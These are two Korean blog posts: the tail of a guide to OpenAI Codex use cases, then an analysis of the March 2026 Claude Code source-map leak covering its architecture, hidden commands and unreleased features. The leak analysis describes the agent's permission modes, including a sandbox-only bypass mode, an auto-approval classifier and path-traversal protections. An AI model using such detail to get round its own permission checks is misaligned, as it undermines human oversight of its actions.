반복을 예상하라: 복잡한 레이아웃은 보통 여러 조정 라운드가 필요하다.

5-2. Figma 디자인 → 코드 (Intermediate / 1시간)

Figma MCP를 통해 디자인 컨텍스트를 직접 가져와 코드로 변환하는 유즈케이스다. 단순히 비주얼을 복사하는 것이 아니라 저장소의 기존 컴포넌트 레이어와 토큰을 존중한다.

공식 워크플로우는 정확한 프레임/컴포넌트 링크 제공 → get_design_context 실행 → get_screenshot으로 레퍼런스 확보 → 저장소 패턴으로 번역 → Playwright로 검증 순서다.

도구	역할
Figma MCP	디자인 컨텍스트, 에셋, 변형(variant) 가져오기; 디자인 시스템 규칙 생성
$playwright-interactive	반응형 동작 검증; Figma 레퍼런스와 구현 비교

6. Data & Automation: 데이터 분석 · 슬라이드 · Slack · API 업그레이드

6-1. 데이터셋 분석 및 리포트 (Intermediate / 1시간)

지저분한 데이터를 명확한 분석과 시각화로 변환하는 유즈케이스다. 공식 문서는 AGENTS.md에 Python 환경 설정(uv, .venv 선호), 폴더 구조(data/raw/, data/processed/, analysis/, output/), 원본 파일 보존 규칙을 명시하도록 가이드한다.

탐색적 분석은 Git worktree로 격리하는 패턴이 권장된다:

git worktree add ../analysis-eda -b analysis/eda
git worktree add ../analysis-modeling -b analysis/modeling

최종 산출물 형태로 Markdown 메모, CSV/스프레드시트, .docx 브리프, .pdf 등을 지원하는 스킬이 공식 문서에 명시되어 있다: $spreadsheet, $jupyter-notebook, $doc, $pdf.

6-2. 슬라이드 덱 자동 생성 (Easy / 30분)

PptxGenJS를 사용해 .pptx 파일을 직접 편집한다. 기존 텍스트를 래스터화하지 않고 네이티브 텍스트 오브젝트로 유지하는 것이 핵심이다. 전달 전 PNG로 렌더링해 텍스트 오버플로와 폰트 대체 문제를 확인하도록 가이드한다. 스킬: $slides, $imagegen.

6-3. Slack 코딩 태스크 (Easy / 5분)

Slack 스레드에서 @Codex를 멘션해 범위가 정해진 클라우드 태스크를 시작한다. 컨텍스트 스위칭 없이 비동기 핸드오프가 가능하다. 좁은 범위의 요청에 가장 적합하며, 대형 코드베이스에서는 관련 파일이나 디렉토리를 명시하는 것이 좋다.

공식 스타터 프롬프트:

@Codex analyze the issue mentioned in this thread and implement a fix in <name of your environment>.

6-4. API 인테그레이션 업그레이드 (Intermediate / 1시간)

기존 OpenAI API 구현을 최신 모델과 기능으로 업데이트하면서 회귀를 검증하는 유즈케이스다. $openai-docs 스킬이 Codex 편집 전에 현재 모델·마이그레이션·API 가이드를 자동으로 가져온다.

워크플로우: 현황 인벤토리 → 최소 마이그레이션 계획 → 구현 → 프롬프트 최적화 → 평가 파이프라인 검증 → 수동 검토. 기존 동작을 보존하는 것이 원칙이며, 변경이 필요한 부분만 플래그를 표시한다.

7. Mobile & ChatGPT: iOS 앱 · ChatGPT 앱 · 브라우저 게임

7-1. iOS / macOS 앱 빌드 (Advanced / 1시간)

CLI 우선 워크플로우로 SwiftUI 앱을 스캐폴딩하고 빌드·디버그한다. Apple의 xcodebuild 또는 Tuist를 CLI에서 사용하며, Xcode GUI는 피하는 것이 권장된다. 프로젝트가 복잡해지면 XcodeBuildMCP를 추가해 스킴 검사, 시뮬레이터 제어, 스크린샷을 자동화한다.

공식 스타터 프롬프트:

Scaffold a starter SwiftUI app and add a build-and-launch script I can wire to
a `Build` action in my local environment.
Stay CLI-first. Prefer Apple's `xcodebuild`; if a cleaner setup helps, it's
okay to use Tuist.

공식 권장 스킬 목록: SwiftUI expert, SwiftUI Pro, Liquid glass expert, SwiftUI performance, SwiftUI view refactor, SwiftUI patterns, Swift concurrency expert. 빌드 자동화 보조 도구로 XcodeBuildMCP(MCP 플러그인)를 함께 사용하는 예시도 제공된다. 처음에는 스킬 없이 단순 프롬프팅으로 시작하고, 작업이 전문화될 때 스킬을 추가하는 점진적 접근이 권장된다.

7-2. ChatGPT 앱 만들기 (Advanced / 1시간)

MCP 서버와 선택적 웹 컴포넌트를 만들어 자신의 앱을 ChatGPT에 통합하는 유즈케이스다. 공식 문서가 강조하는 가장 중요한 원칙은 "전체 제품을 포팅하지 말고 하나의 좁은 아웃컴에 집중하라"는 것이다.

ChatGPT 앱의 세 구성 요소:

MCP Server: 도구 정의, 인증 강제, 데이터 반환, UI 리소스 포인팅
Optional Web Component: React 또는 HTML/CSS/JS로 ChatGPT iframe 내에 렌더링
Model Integration: 메타데이터를 기반으로 앱 도구를 언제 호출할지 결정

기본 스택: TypeScript 또는 Python MCP 서버, React(또는 plain HTML/CSS/JS) 위젯, ngrok 또는 Cloudflare Tunnel(로컬 HTTPS). 인증(OAuth 2.1)은 익명/읽기 전용 경로가 검증된 후에만 추가하도록 명시한다.

7-3. 브라우저 게임 만들기 (Intermediate / 장시간)

PLAN.md로 게임 계획을 세운 후 $playwright-interactive로 라이브 브라우저에서 테스트하며 구현한다. $imagegen으로 게임 에셋을 생성하고, $openai-docs로 API 참조를 조회하며 작업한다. 생성 프롬프트를 재사용 가능한 파일로 저장해 시각적 일관성을 유지하는 것이 권장된다.

공식 AGENTS.md 예시 스택: 프론트엔드 — Next.js + 렌더링 프레임워크(예: Phaser, PixiJS) / 백엔드 — Fastify + WebSockets + Postgres + Redis. (렌더링 프레임워크는 공식 AGENTS.md 템플릿에서 프로젝트에 맞게 선택하도록 빈칸 처리되어 있다.) 공식 문서는 Codex가 장시간 독립적으로 작업할 수 있도록 .logs/ 디렉토리에 작업 로그를 남기도록 지시할 것을 권한다.

8. 스타터 프롬프트 패턴 분석

12개 유즈케이스의 공식 스타터 프롬프트를 분석하면 반복되는 구조 패턴이 보인다. 이 패턴을 이해하면 자신만의 프롬프트를 설계할 때 기준이 된다.

패턴	설명	적용 유즈케이스
스킬 명시	`Use $playwright-interactive, $imagegen...` 형식으로 사용할 스킬을 프롬프트 앞에 명시	브라우저 게임, 슬라이드, Figma→코드
AGENTS.md 우선 읽기	Before changing anything: Read `AGENTS.md` — 행동 전 컨텍스트 파악 지시	어려운 문제 반복, 데이터 분석
명시적 중단 조건	`Keep going until both scores are above 90%` — 목표치를 명시해 드리프트 방지	어려운 문제 반복
소스 오브 트루스 지정	`using the screenshots and notes I provide as the source of truth` — 무엇을 기준으로 삼을지 명시	반응형 디자인, Figma→코드
금지 조건	`Do not stop at the first acceptable result` — 하지 말아야 할 것을 명시해 과도한 최적화 방지	어려운 문제 반복
출력 형식 지정	`Output: current best scores / log of major iterations` — 최종 산출물 명시	어려운 문제 반복, 데이터 분석

한 줄 종합: Codex 공식 프롬프트의 공통 철학은 "사전에 컨텍스트를 주고(AGENTS.md), 스킬을 지정하고, 중단 조건을 명시하고, 무엇을 만들지 정의하라"이다. 이 네 요소 중 하나라도 빠지면 Codex의 자율 작업 품질이 떨어진다.

9. 한국 개발자를 위한 실전 시작 로드맵

가장 빠르게 결과를 볼 수 있는 순서로 정리했다.

Step 1: Easy 4개로 즉시 가치 확인 (첫날)

유즈케이스	사전 조건	기대 효과
대형 코드베이스 이해	저장소 접근 권한	5분 만에 새 코드베이스 파악
PR 자동 리뷰	GitHub 저장소 + Codex 설치	PR마다 자동 리뷰 신호 추가
Slack 코딩 태스크	Slack 워크스페이스 + Codex Slack 통합	컨텍스트 전환 없이 버그 수정 위임
슬라이드 덱 자동 생성	데이터 파일 또는 분석 결과	30분 안에 .pptx 파일 자동 생성

Step 2: Intermediate 5개로 워크플로우 통합 (첫 주)

반응형 프론트엔드 디자인: 디자인 시스템이 있는 프로젝트에 Playwright 통합
Figma 디자인 → 코드: Figma MCP 설정 후 디자인 핸드오프 자동화
데이터셋 분석: 데이터 분석 AGENTS.md 설정 + Git worktree 패턴 학습
API 업그레이드: OpenAI API를 사용 중인 프로젝트에 적용
브라우저 게임: 멀티플레이어 게임 AGENTS.md + .logs/ 패턴 학습

Step 3: Advanced 3개로 심화 활용 (첫 달)

어려운 문제 반복 풀기: 평가 스크립트가 있는 최적화 문제에 적용
ChatGPT 앱 만들기: 하나의 좁은 유즈케이스로 MCP 서버 구축 실험
iOS/macOS 앱: Apple 플랫폼 개발자라면 XcodeBuildMCP와 함께 시도

AGENTS.md 설정이 핵심

어떤 유즈케이스를 선택하든, 저장소 루트에 AGENTS.md를 만드는 것이 첫 번째 할 일이다. PR 리뷰 지침, 코드 스타일, 금지 패턴 등을 명시할수록 Codex의 결과물 품질이 높아진다.

공식 가이드: developers.openai.com/codex/guides/agents-md

10. 결론 : 공식 유즈케이스의 진짜 가치

이 페이지가 단순한 기능 목록처럼 보이는 건 제목만 봤을 때 얘기이다.

각 페이지에는 스타터 프롬프트, AGENTS.md 예시, 난이도, 소요 시간이 있다. 어디서 어떻게 시작하는지가 다 나와 있다.

PR 리뷰는 5초짜리 설정이고, eval-driven 루프는 장시간 자율 작업을 위한 고급 패턴이다.

처음 시작한다면 코드베이스 이해(5분) → PR 리뷰 설정 → AGENTS.md 작성 순서가 가장 빠르다.

상황	추천 유즈케이스
새 저장소에 합류함	대형 코드베이스 이해
PR 리뷰 품질을 높이고 싶음	PR 자동 리뷰 + AGENTS.md 설정
Slack에서 버그 수정을 위임하고 싶음	Slack 코딩 태스크
Figma 디자인을 코드로 변환하고 싶음	Figma 디자인 → 코드
최적화 문제를 자동으로 반복 개선하고 싶음	어려운 문제 반복 풀기
ChatGPT와 내 앱을 통합하고 싶음	ChatGPT 앱 만들기

참고 자료

작성일: 2026-03-30 | 분석 대상: developers.openai.com/codex/use-cases (2026-03-30 기준)

이 글의 모든 유즈케이스 설명, 난이도, 소요 시간, 스타터 프롬프트는 OpenAI 공식 문서에서 직접 수집한 데이터에 기반한다. OpenAI의 서비스 정책 및 기능은 변경될 수 있으므로, 최신 정보는 공식 페이지에서 확인하기 바란다.

Claude Code 소스맵 유출 사건 - npm 실수 한 번에 512,000줄 공개, 유출된 Claude Code 소스로 본 미공개 기능 분석

갓대희 — Wed, 1 Apr 2026 01:43:53 +0900

안녕하세요! 갓대희 입니다.

2026년 3월 31일 저녁 보안 연구자 Chaofan Shou(@Fried_rice)가 놀라운 사실을 공개했다.

"Claude Code의 전체 소스 코드가 npm 패키지에 그대로 들어있다."

해커의 소행이 아니었다. Anthropic이 빌드 과정에서 소스맵(source map) 파일을 실수로 패키지에 포함시켜 배포한 것이다. 그 결과, 누구든 @anthropic-ai/claude-code 패키지를 설치한 사람이라면 1,906개의 TypeScript 파일, 512,000줄이 넘는 소스 코드를 아무런 제약 없이 들여다볼 수 있게 됐다.

커뮤니티 반응은 즉각적이었다. 불과 몇 시간 만에 독립 분석 문서 사이트가 등장했고, GitHub에 아카이브 저장소가 생겼으며, Hacker News는 뜨겁게 달아올랐다.

한국 커뮤니티에서는 "AGI의 비밀이 수십만 줄의 TypeScript 조건문이었다"는 우스갯소리까지 돌았다.

이 글에서는 단순한 사건 소개를 넘어, 실제로 유출된 코드가 무엇을 드러내는지 깊이 분석한다. 어떻게 유출됐는지, 무엇이 발견됐는지, 그리고 이것이 개발자와 AI 업계에 어떤 의미를 갖는지 정리해보려 한다.

팩트체크: 커뮤니티 주장 vs 실제 수치
소스맵 유출이란 무엇인가 — 기술적 배경
두 번째 유출 — 왜 반복됐나
- 2025년 첫 번째 사건과의 차이
유출 규모와 기술 스택 분석
핵심 아키텍처: 드러난 설계의 비밀
- 에이전트 파이프라인 구조
- 멀티에이전트 오케스트레이션
- 권한 시스템 설계
- IDE 브리지와 보안
숨겨진 미출시 기능들
- BUDDY — 18종 상세 사양
- KAIROS — 4개 전용 도구
- ULTRAPLAN — 원격 Opus 계획 엔진
- Capybara 모델 패밀리
- betas.ts 피처 플래그 전체 목록
- 숨겨진 슬래시 커맨드 17개
- 출시 타임라인 예측
내부 안전장치 & 기술 분석
- Undercover Mode — Co-Authored-By 헤더 삭제 포함
- ANTI_DISTILLATION_CC — 경쟁사 방어
- 감정 분석: 정규식 vs LLM
- 코드 품질 위기: 테스트 없는 64,464줄
- 텔레메트리: 1,000개+ 이벤트 & tengu_frond_boric
커뮤니티 반응과 논쟁 포인트
Anthropic의 대응과 법적 맥락
개발자가 알아야 할 인사이트
- CLAUDE.md 로딩 순서 (4단계 우선순위)
- system-reminder 주입 타이밍
트러블슈팅 Q&A
결론: 의도치 않은 오픈소스의 교훈

한눈에 보는 사건 요약 (2026-03-31 기준, v2.1.88)

항목	내용	출처
유출 날짜	2026-03-31 (두 번째 사건)	PiunikaWeb
발견자	Chaofan Shou (@Fried_rice)	CyberSecurityNews
유출 파일	cli.js.map (~59.8MB)	TheHuman2AI
TypeScript 파일 수	1,906개 (node_modules 포함 총 4,756개)	GitHub 아카이브
실제 코드 줄 수	512,000줄+ (커뮤니티 "80만 줄"은 과장)	DEV.to 분석
내부 코드명	"Tengu" (100개 이상의 피처 플래그에 접두사로 사용)	소스 분석
Anthropic 대응	공개 성명 없음, npm 패키지 업데이트로 소스맵 제거	TechStartups

1. 팩트체크: 커뮤니티 주장 vs 실제 수치

소셜미디어에 퍼진 정보 중 일부는 과장됐거나 부정확하다. 먼저 팩트를 정리한다.

주장	판정	실제
"해커가 뚫었다"	X	Anthropic의 빌드/배포 실수 (소스맵 미제거)
"80만 줄의 TypeScript"	과장	512,000줄+ (약 51만 줄). 80만은 node_modules 포함 시 근사치
"처음 있는 일"	X	2025년 2월 24일에 이미 한 번 발생. 이번이 두 번째
"모델 가중치도 유출"	X	CLI 프론트엔드 코드만 유출. 모델 가중치·학습 데이터 없음
"4,756개 파일"	사실	Claude Code 1,906개 + node_modules 2,850개 = 4,756개
"파일 크기 57MB"	근사치	정확히는 59.8MB (출처에 따라 "57MB" 또는 "59.8MB" 혼용)
mintlify 분석 문서 "수 시간 만에 등장"	사실	mintlify.com/VineeTagarwaL-code/ 당일 공개

오늘이 4월 1일입니다. 즉 만우절 ????
일부 커뮤니티에서는 이 사건이 Anthropic의 에이프릴 풀(April Fools) 마케팅이라는 주장도 나온다. 실제로 소스 코드에는 BUDDY 기능의 "April 1-7, 2026 teaser window"가 명시되어 있다. 그러나 소스맵 유출 자체는 2025년에도 있었던 실수의 반복이며, Anthropic이 신속히 패키지를 수정한 것으로 보아 의도된 공개가 아닌 것으로 판단된다.

2. 소스맵 유출이란 무엇인가 — 기술적 배경

이 사건을 이해하려면 먼저 소스맵(source map)이 무엇인지 알아야 한다.

소스맵이란?

TypeScript나 JavaScript 코드를 배포할 때는 보통 다음 과정을 거친다:

TypeScript 컴파일 — .ts 파일을 .js로 변환
번들링 + 최소화(minification) — 여러 파일을 하나로 합치고 변수명을 짧게 압축
(선택) 소스맵 생성 — 압축된 코드와 원본 소스의 위치를 매핑한 .map 파일 생성

소스맵은 원래 개발자 도구(DevTools)에서 디버깅할 때 "압축된 코드 line 1, column 5432" 대신 "원본 파일 auth.ts line 42"처럼 보여주기 위한 도구다. 프로덕션 배포 시에는 포함하지 않거나, 내부 서버에만 배포하는 것이 관례다.

{
  "version": 3,
  "file": "cli.js",
  "sources": [
    "../../src/main.tsx",
    "../../src/agent/pipeline.ts",
    "../../src/tools/bash.ts"
    // ... 1,906개 파일
  ],
  "sourcesContent": [
    // ← 여기에 원본 TypeScript 소스 전체가 문자열로 포함됨
    "import React from 'react';\nimport { render } from 'ink';\n..."
  ]
}

Claude Code의 빌더인 Bun은 기본 설정에서 소스맵을 생성한다. 배포 파이프라인에서 이를 명시적으로 제외하지 않으면 npm 패키지에 그대로 포함된다. 이것이 바로 이번 사건의 원인이다.

핵심 원인 요약
"해킹"이 아니다. Bun 빌더의 기본 소스맵 생성 + npm publish 파이프라인에서 .npmignore 또는 package.json의 files 필드로 제외하지 않아 발생한 설정 누락 오류다.
(출처: Saudi Shopper 분석)

3. 두 번째 유출 — 왜 반복됐나

이번이 처음이 아니다. 놀랍게도 수백 개 버전을 사이에 두고 똑같은 일이 반복됐다.

두 사건 비교

항목	1차 유출 (2025-02-24)	2차 유출 (2026-03-31)
방식	인라인 base64 인코딩 소스맵	별도 파일 `cli.js.map`
발견자	Dave Shoemaker	Chaofan Shou (@Fried_rice)
크기	약 1,800만 자 (base64)	59.8MB 파일
Anthropic 대응 시간	약 2시간 내 제거	패키지 업데이트 및 구버전 삭제
추가 영향 패키지	없음	`@anthropic-ai/claude-agent-sdk`도 포함 [UNVERIFIED — 복수 소스에서 미확인]
커뮤니티 아카이브	Daniel Nakov GitHub 저장소	Kuberwastaken, instructkr, nirholas 외 다수

한 줄 요약: 1차에서는 인라인 base64 방식이 문제였고, 2차에서는 별도 파일 방식이 문제였다. 배포 방식은 바뀌었지만 근본 원인(소스맵 제외 로직 누락)은 동일했다.

핵심 교훈
Bun 번들러는 기본적으로 소스맵을 생성한다. npm 패키지를 배포할 때 package.json의 files 필드 또는 .npmignore에서 *.map 파일을 명시적으로 제외해야 한다. 이 누락이 수백 개 버전 동안 수정되지 않아 두 번째 사고를 만들었다. [UNVERIFIED — 두 유출 사이의 정확한 릴리스 수는 npm 레지스트리에서 직접 확인 필요]

4. 유출 규모와 기술 스택 분석

소스코드가 드러낸 첫 번째 사실은 Claude Code가 얼마나 정교하게 설계됐는지다.

코드베이스 규모 (2026-03-31 기준)

항목	수치
TypeScript/TSX 파일	1,906개
총 코드 줄 수	512,000줄+
디렉토리 수	55개
엔트리포인트 파일 크기	`main.tsx` — 785KB
최대 단일 모듈	Query Engine — 46,000줄
Tool 기반 코드	29,000줄
내장 도구 수	40개+
슬래시 커맨드 수	50개+

기술 스택: 예상 밖의 선택들

많은 개발자가 가장 놀란 부분은 기술 선택이었다. Node.js를 쓸 것이라는 예상을 깨고 훨씬 현대적인 스택을 사용했다.

레이어	기술	선택 이유
런타임	Bun (Node.js 아님)	Dead code elimination, 빠른 시작 시간
터미널 UI	React + Ink	컴포넌트 기반 터미널 렌더링, 상태 관리
유효성 검사	Zod v4	API 응답, 설정, 입력값 스키마 검증
모듈 로딩	지연 로딩(Lazy Load)	OpenTelemetry, gRPC 등 무거운 의존성 지연 로드
옵저버빌리티	Datadog	감정 신호, 세션 메타데이터, 모델 사용 로그 전송
인증	OAuth + API 키	대화형 세션 / CI·비대화형 시나리오 분리

5. 핵심 아키텍처: 드러난 설계의 비밀

에이전트 파이프라인 구조

가장 큰 단일 모듈인 Query Engine(46,000줄)은 LLM API 호출, 스트리밍, 캐싱, 전체 오케스트레이션을 담당한다.

도구 시스템은 29,000줄의 TypeScript로 구성된 플러그인 아키텍처로, 각 도구는 권한 게이트(permission gate)를 통과해야 실행된다.

권한 모드는 4가지로 정의된다:

모드	동작
`default`	모든 액션에 사용자 승인 필요
`acceptEdits`	파일 변경 자동 적용, 셸 명령은 승인 필요
`plan`	실행 전 계획 승인 요청
`bypassPermissions`	제한 없음 (샌드박스 전용)

도구 액션은 LOW/MEDIUM/HIGH 위험도로 분류되며, YOLO Classifier라는 ML 기반 자동 승인 모듈이 저위험 액션을 자동 처리한다. 경로 순회 공격 방지(Unicode 정규화, 백슬래시 주입 차단)와 보호 파일 목록(.gitconfig, .bashrc, .mcp.json)도 코드에서 확인됐다.

에이전트 루프 내부 동작 — 6단계

유출 코드 분석을 토대로 작성된 커뮤니티 아키텍처 문서는 Claude Code의 매 턴이 다음 6단계로 실행됨을 보여준다.

단계	동작	소스 구현
① 메시지 수신	대화형(REPL) 또는 `--print`/stdin 비대화형 모드로 입력 수신, 대화 이력에 추가	React/Ink UI 또는 stdout
② 컨텍스트 조립	API 호출 전 시스템 프롬프트 구성 — 현재 날짜, Git 상태(`git status --short` 2000자 제한), 최근 커밋 5개, CLAUDE.md, 도구 목록	`context.ts` — `lodash/memoize`로 대화당 1회만 생성
③ 모델 추론	Anthropic API로 대화 전송 → 모델이 `tool_use` 블록(도구명 + JSON 입력) 생성	`query.ts` — 토큰 스트리밍, 턴별 예산 제한
④ 권한 확인	각 도구의 `checkPermissions()`가 allow/ask/deny 결정. Read·Glob·Grep은 모든 모드에서 자동 승인	권한 모드 4가지 (위 표 참조)
⑤ 도구 실행	승인된 도구 실행 → 결과를 `tool_result` 블록으로 추가. 결과가 `maxResultSizeChars` 초과 시 임시 파일로 저장하고 경로만 전달	파일·셸·자격증명은 기기 밖으로 나가지 않음
⑥ 루프 반복	모델이 결과를 받아 추가 도구를 호출하거나 최종 응답 생성. 컨텍스트 창이 차면 `query.ts`가 자동 압축 트리거	전체 트랜스크립트는 `~/.claude/`에 JSON으로 보존

원격 서버 없음
Claude Code에는 별도의 원격 실행 서버가 없다. 파일, 셸, 자격증명은 도구가 명시적으로 전송하지 않는 한 사용자 기기를 벗어나지 않는다.
(출처: 커뮤니티 아키텍처 문서)

멀티에이전트 오케스트레이션

코드에는 "swarm" 또는 "Coordinator Mode"로 명명된 멀티에이전트 시스템이 구현돼 있다.

각 서브에이전트는 격리된 컨텍스트와 특정 도구 권한을 갖고 병렬로 실행된다.

파이프라인은 연구(Research) → 합성(Synthesis) → 구현(Implementation) → 검증(Verification) 단계로 구성되며, 팀 메모리 동기화와 색상 코드 구분으로 여러 에이전트를 시각적으로 구별한다.

IDE 브리지와 보안

VS Code와 JetBrains 확장과 CLI 간의 연결은 JWT 인증 기반 양방향 통신 레이어로 구현됐다. 단순한 프로세스 간 통신이 아니라 독립적인 보안 레이어를 두었다는 점이 눈에 띈다.

6. 숨겨진 미출시 기능들

커뮤니티가 가장 흥분한 부분이다. 소스코드에는 아직 사용자에게 공개되지 않은 기능들이 다수 존재했다.

① BUDDY — AI 반려동물

무엇인가: Claude Code 입력창 옆 말풍선(speech bubble)에 앉아있는 다마고치(Tamagotchi) 스타일 ASCII 아트 가상 반려동물. 개발 세션을 지켜보며 이름을 부르면 Claude와 독립적으로 반응한다. 이 글이 작성된 시점의 Claude Code에 앉아 있는 Bellows는 18종 중 chonk(통통이) 종이다.

18종 (species) 목록 — 소스코드 직접 확인

duck(오리) · goose(거위) · blob(블롭) · cat(고양이) · dragon(드래곤) · octopus(문어) · owl(올빼미) · penguin(펭귄) · turtle(거북이) · snail(달팽이) · ghost(유령) · axolotl(아홀로틀) · capybara(카피바라) · cactus(선인장) · robot(로봇) · rabbit(토끼) · mushroom(버섯) · chonk(통통이)

※ 18종 중 특정 1종 이름이 String.fromCharCode()로 난독화되어 있음 — Anthropic 내부 excluded-strings.txt의 모델 코드명 canary와 충돌하기 때문

희귀도(Rarity) 확률표 — 소스코드 직접 확인

등급	확률	별	스탯 플로어
Common (커먼)	60%	★	5
Uncommon (언커먼)	25%	★★	15
Rare (레어)	10%	★★★	25
Epic (에픽)	4%	★★★★	35
Legendary (레전더리)	1%	★★★★★	50
Shiny (샤이니)	별도 1%	희귀도와 독립	—

※ Shiny Legendary = 0.01% (약 1/10,000). Shiny는 희귀도와 완전히 독립적인 별도 판정.

5가지 스탯 (0~100 범위) — 소스코드 직접 확인

스탯	의미
DEBUGGING	버그 탐지 능력
PATIENCE	에러 루프에도 침착함
CHAOS	혼돈 / 예측불가 성향
WISDOM	지혜 / 통찰
SNARK	냉소 / 짓궂음

※ 스탯 생성 방식: Peak stat(특기) = floor+50~100, Dump stat(약점) = 1~15, 나머지 3개 = floor~floor+40 범위에서 결정

모자(Hat) 희귀도 게이팅 — 소스코드 직접 확인

모자	해금 조건
없음 (none)	Common (모자 없음)
crown (왕관) · tophat (중절모) · propeller (프로펠러)	Uncommon 이상
halo (후광) · wizard (마법사)	Rare 이상
beanie (비니)	Epic 이상
tinyduck (꼬마오리 모자)	Legendary 전용

눈 타입 6종 — 소스코드 직접 확인

· ✦ × ◉ @ °

/buddy 커맨드 전체 목록

커맨드	동작
`/buddy`	최초 실행 시 hatch 애니메이션, 이미 있으면 현재 buddy 표시. 4월 1~7일 기간에는 무지개색 효과
`/buddy pet`	하트(♥) 플로팅 애니메이션 2.5초
`/buddy card`	ASCII 스프라이트 + 전체 스탯 + 희귀도 카드 표시
`/buddy mute`	말풍선 숨기기
`/buddy unmute`	말풍선 다시 표시
`/buddy off`	Buddy 완전 숨김

※ buddy 이름(예: "Bellows")을 대화 중 직접 부르면 Claude와 별개로 말풍선이 반응함. 스프라이트 규격: 5줄 높이 × 12자 너비 ASCII, 3개 애니메이션 프레임.

가챠 시스템 구조 (결정론적 PRNG) — 소스코드 직접 확인

해시 함수: FNV-1a — userId + salt을 32비트 시드로 변환
난수 생성기: Mulberry32 (경량 32비트 PRNG)
시드 솔트: 'friend-2026-401' (2026-04-01 출시 날짜 암시)
동일 userId → 항상 동일한 종/희귀도/외형 ("bones") 보장 — 결정론적 재계산
AI 생성 부분 "soul"(이름, 성격, hatch 날짜)만 config에 1회 저장
Anti-cheat: bones는 매 세션 userId로부터 재계산 → config 파일 수정으로 Legendary 위장 불가

출시 일정 (소스 하드코딩 기준)

4월 1~7일: teaser window — 무지개색 알림으로 /buddy 입력 유도
4월 8일 이후: 커맨드 영구 활성화 예정
2026년 5월: full launch 타겟 (내부 주석 기준)
에이프릴 풀(April Fools) 티저인지 실제 출시 일정인지 현재 미확인

ex) /buddy 입력시 무지개 색으로 변경된다.

- 난 레어???? CHONK

- 채팅, status bar 우측에 붙어버렸다.

- buddy pet 입력

② KAIROS — 항상 켜져있는 Claude

무엇인가: 사용자가 타이핑하기를 기다리지 않는 지속적 백그라운드 Claude 인스턴스. 활동을 모니터링하고, 일별 append-only 로그를 기록하며, 정기적으로 <tick> 프롬프트를 받아 "행동할지 조용히 있을지" 결정한다. 사용자 워크플로우를 15초 이상 블로킹하는 모든 선제적 행동은 자동으로 연기된다(15초 블로킹 예산).

전용 도구 (일반 Claude Code에서는 사용 불가):

SendUserFile — 사용자에게 파일 직접 전송
PushNotification — 알림 푸시
SubscribePR — PR 이벤트 구독
SleepTool — 지정된 시간 동안 실행 일시 중단 (백그라운드 에이전트 스케줄링 전용)

추가 메모리 통합: Dream 기능(메모리 통합 에이전트)을 내장해 idle 시간에 24시간/5세션 주기로 메모리를 정리한다 — 필자가 이전에 분석한 Auto Dream 기능의 실제 내부 구현체가 여기에 있었다.

③ ULTRAPLAN — 원격 Opus 계획 엔진

무엇인가: 복잡한 계획 작업을 Cloud Container Runtime(CCR) 세션에서 실행 중인 Opus 4.6에게 위임하는 기능. 최대 30분간 실행 가능하며, 결과가 나오면 로컬 터미널로 "텔레포트"된다. 실행 전 브라우저 기반 승인 워크플로우가 있어, 사용자가 Opus가 제안한 계획을 검토 후 적용 여부를 결정한다.
(출처: DEV.to 분석)

④ Capybara 모델 패밀리

소스에서 발견된 미공개 모델 코드명:

capybara — 표준 버전
capybara-fast — 빠른 버전
capybara-fast[1m] — 빠른 버전 + 1M 컨텍스트

Claude Code 내부 프로젝트 코드명인 "Tengu"는 수백 개의 피처 플래그와 애널리틱스 이벤트에 접두사로 사용된다. 내부적으로 Tengu = Claude Code다.

⑤ betas.ts 피처 플래그 전체 목록

betas.ts 파일에서 확인된 15개 이상의 미출시 기능:

플래그	내용
interleaved thinking	확장 추론 중간 삽입
1M token context	100만 토큰 컨텍스트 윈도우
structured outputs	구조화된 출력
web search integration	웹 검색 통합
AFK mode	자리 비움 자율 실행 모드
Fast Mode ("Penguin Mode")	내부명 "Penguin Mode", 빠른 응답 모드
redacted thinking	추론 과정 숨김 출력
advisor tool	자문 전용 도구
token-efficient tool schemas	토큰 효율적 도구 스키마
connector text summarization	커넥터 텍스트 요약

⑥ 숨겨진 슬래시 커맨드 & CLI 서브커맨드

소스에서 확인된 미공개 명령어들. 현재 일반 사용자 빌드에서는 feature flag로 차단되어 있다.

(출처: aldegad 분석, 2026-03-31)

커맨드	연결 기능
`/ultraplan`	ULTRAPLAN — 원격 Opus 4.6 30분 계획
`/buddy`	BUDDY — AI 반려동물 소환
`/dream`	KAIROS_DREAM — 메모리 통합 에이전트 실행
`/fork`	FORK_SUBAGENT — 대화를 서브에이전트로 포크
`/loop`	AGENT_TRIGGERS — Cron 기반 자동 실행
`/schedule`	AGENT_TRIGGERS_REMOTE — 원격 스케줄 실행
`/subscribe-pr`	KAIROS_GITHUB_WEBHOOKS — PR 이벤트 구독
`/brief`	KAIROS_BRIEF — 간략 요약 모드
`/peers`	UDS_INBOX — Unix Domain Socket 피어 메시지
`/workflows`	WORKFLOW_SCRIPTS — 커스텀 워크플로우 실행
`/thinkback`	GrowthBook 런타임 게이트 — 추론 재검토
`/torch`	TORCH — 소스에서 목적 불명확
`claude daemon`	DAEMON — 백그라운드 수퍼바이저 프로세스
`claude remote-control`	BRIDGE_MODE — 원격 환경 브리지
`claude --bg`	BG_SESSIONS — 백그라운드 세션
`claude ps / logs / attach / kill`	BG_SESSIONS — 백그라운드 세션 관리
`claude --computer-use-mcp`	CHICAGO_MCP — macOS 컴퓨터 제어

⑦ 출시 타임라인 예측 (aldegad 분석)

[ESTIMATE] 소스 완성도와 feature flag 상태를 기반으로 한 분석팀 예측이다. 공식 Anthropic 발표가 아님을 명심하라.

(출처: aldegad 분석, 2026-03-31)

기능	예상 출시	근거
TRANSCRIPT_CLASSIFIER (auto 모드)	이미 부분 공개	외부 빌드 포함, GrowthBook 점진 롤아웃
BG_SESSIONS (`claude --bg`)	2026 Q2-Q3	높은 코드 완성도
AGENT_TRIGGERS (/loop, /schedule)	2026 Q2-Q3	`TODO(public-ship)` 주석 존재
BRIDGE_MODE (remote-control)	2026 Q2	ant 빌드 활성화, GrowthBook 게이트
COORDINATOR_MODE	2026 Q3	코드 안정, 런타임 게이트
VOICE_MODE	2026 Q3-Q4	WebSocket STT 완성, OAuth 통합
KAIROS (always-on Claude)	2026 H2	6개 서브플래그, 최대 범위
ULTRAPLAN	2026 Q3-Q4	CCR 의존성, prod-hardening TODO
CHICAGO_MCP (Computer Use)	2026 H2	macOS 전용, Computer Use 통합

